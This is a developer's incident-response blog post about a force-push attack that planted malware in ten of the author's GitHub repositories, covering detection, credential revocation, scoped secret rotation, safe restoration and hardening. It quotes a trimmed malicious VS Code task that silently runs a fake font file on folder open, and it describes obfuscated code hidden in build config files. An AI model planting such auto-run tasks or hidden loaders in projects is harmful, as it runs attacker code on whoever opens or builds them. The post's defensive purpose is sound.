On a Thursday morning, a routine git fetch printed two words that didn't belong:
+ a500ecd...aaf1a3e main -> origin/main (forced update)
I hadn't force-pushed anything. Someone had replaced the latest commit on main with a different one, and that repo turned out to be one of ten.
This post covers what the attack looked like, how I checked every repo on my account, how I worked out what the malicious code could have reached, and how I put everything back. The scanner I wrote for it is free to use: polinrider-scan.
The commit that wasn't mine
The new commit had my name, my message, and my date. git log showed nothing wrong. The difference only shows in the raw commit:
mine: committer Muhammad Huzaifa Khan <…> 1791913237 +0500
injected: committer Muhammad Huzaifa Khan <…> 1791913237 +0200
Same author, same timestamp, same message, but a committer time zone two hours from Lahore. Someone had amended my last commit on a machine set to UTC+2, kept everything that identifies it as mine, and force-pushed it.
What was in it
The amended commit added a few things, all with the same goal: run code on whoever opens the project next.
-
A VS Code task that runs on folder open.
.vscode/tasks.jsongained a hidden task, labelled "eslint-check" to look routine (trimmed here):
"command": "node ./api/public/fonts/fa-brand-400.woff",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" }
A companion .vscode/settings.json switched on task.allowAutomaticTasks, so the editor wouldn't ask first.
-
A font that isn't a font.
fa-brand-400.woffis 27 KB of obfuscated JavaScript, sitting among real Font Awesome files, deep in a folder nobody looks at. -
Code hidden in config files. In my JavaScript projects, obfuscated code was appended to the last line of a config file the build loads (
astro.config.mjs,next.config.js,eslint.config.mjs,prisma.config.ts), after a long run of spaces, so an editor shows a normal file unless you scroll right. Several repos also got anapi.js, and in my portfolio thedevscript was changed to run it first. -
A
.gitignorethat stopped ignoring.env, so a carelessgit add -Awould commit secrets.
Security researchers call this campaign PolinRider and link it to North Korea's "Contagious Interview" operations, which have hit thousands of repos this year. Their dossier has the full technical detail. I wanted the other half: what to do on your own account, in order.
First question: is my machine infected?
The planted task runs when a folder is opened, so the scariest possibility was that I'd already run it. I checked before touching anything else:
-
My local copies never had the injected commits.
git fetchonly downloads; nothing had been checked out. Every working folder was still on my own commit. - None of the injected files existed anywhere on disk, and no editor extension, global npm package, or project config contained the campaign's published marker strings.
- None of the folders this malware family usually drops, and nothing unusual starting at login.
So the push came from somewhere else, using my credentials: GitHub recorded the force-pushes as made by my own account.
How far did it reach?
My GitHub security log showed nothing unusual, because a personal account's security log doesn't list pushes. GitHub's repository activity does, including force-pushes and the commit each one replaced.
So I wrote a read-only script that goes through every repo and branch a token can see and, for each branch, checks the latest commit for the injected files, finds any recent force-push, and checks whether the commit it replaced is clean. The result:
- 42 repos and 46 branches checked.
- 14 branches in 10 repos infected, some of them repos I hadn't opened in years.
- All 14 force-pushed within about a minute, by my own account. It was a script, working through a list.
- Every one had a clean original commit just behind it.
That last point mattered most. The attack amends a single commit rather than adding new ones, so my work was intact. It was just no longer what the branch pointed at.
Lock the door before cleaning up
If the credential still works, cleaning up just invites the next push. So before restoring anything I:
- revoked my classic personal access token, which could push to every repo I own; it's my best guess for how they got in;
- removed the OAuth apps I no longer used;
- replaced my SSH key, and checked that GitHub now refuses the old one;
- replaced the fine-grained tokens that sat somewhere exposed.
What actually ran?
This is where most advice says "rotate everything." I wanted to know what was really exposed.
Several of the infected repos deploy automatically, so the injected commits were built and deployed. Whether that ran the malware depends on one thing: did the build load a file the attacker changed?
-
My portfolio site: yes. The code was appended to
astro.config.mjs, whichastro buildloads, so it ran inside the hosting platform's build, with that project's environment variables available. I rotated every secret in that project. (The same went for one other JavaScript project, which I've since taken down.) -
My Python services: no. Their injected commits only added the VS Code task, the fake fonts and the
.gitignorechange. Nothing in a Python build runs a.wofffile, and every file the build does use had the same content as before. I checked that diff rather than assuming it.
That turned "rotate everything everywhere" into a short, specific list.
Putting it back
git revert is the wrong tool here: it adds a new commit on top and leaves the attacker's in your history. What I wanted was the branch pointing at my original commit again. GitHub still has that commit after a force-push, so the fix is a force-push of my own, done carefully:
git clone --bare git@github.com:me/repo.git && cd repo.git
git fetch origin <my original commit>
git push --force-with-lease=refs/heads/main:<injected commit> origin <my original commit>:refs/heads/main
- A bare clone downloads git's data without writing the project's files to disk, so nothing in them can run.
-
--force-with-leasewith the injected commit's id means the push only goes through if the branch still points at exactly that commit. If anything else had changed, it would refuse instead of overwriting it.
I scripted it for all 14 branches with a dry run first, plus a check that each original commit was clean and shared a parent with its injected copy. Then I confirmed with GitHub that every branch pointed where it should.
Two surprises came from the hosting side:
- Restoring didn't trigger a deploy. The platform had built my original commit before and skipped it, so production stayed on the infected build until I started a deploy myself.
- "Redeploy" and "Promote" aren't the same. Promoting an old deployment reuses its build, including the environment variables it was built with. Until I rebuilt, the live site was still running with my old admin password, even though I'd already changed it in the settings. Only a fresh build picks up rotated secrets.
Making it harder next time
- Block force-pushes on default branches. A repository ruleset ("Block force pushes", with nobody allowed to bypass it) stops exactly this attack. On GitHub's free plan it only works on public repos, which is worth knowing before you count on it.
- Prefer fine-grained tokens with an expiry to classic tokens that can write to everything you own, and give GitHub Apps access only to the repos they deploy.
-
Read
git fetchoutput. "Forced update" on a branch you didn't touch is the earliest warning you'll get. -
Treat
.vscode/as code. Keep VS Code's Workspace Trust on, and be suspicious of a folder-open task in any repo you clone. - Scan again. The campaign has been reported coming back to repos it already hit. I'll run the scan again in a week.
What I still don't know
How they got the credential. I don't have another machine, my Mac checked clean, and the security log shows no sign-in I don't recognise. The classic token is the likeliest way in, because it could push to every repo and pushes don't appear in the log, but I can't prove it. Saying so seems more useful than guessing.
Check your own account
polinrider-scan is the read-only scanner I used, tidied up for anyone's account. It looks for every variant published so far, reports which branches were force-pushed and which commit to restore, and tells you whether anything that deployed built an infected commit. It needs Python and a read-only token, and it changes nothing. Its first version found the 14 branches on my account; I also tested this one on the history of a public repo that was hit and cleaned up earlier this month, where it found the planted task and a fake font in the commit that cleanup replaced.
If you get stuck, email me.
Top comments (0)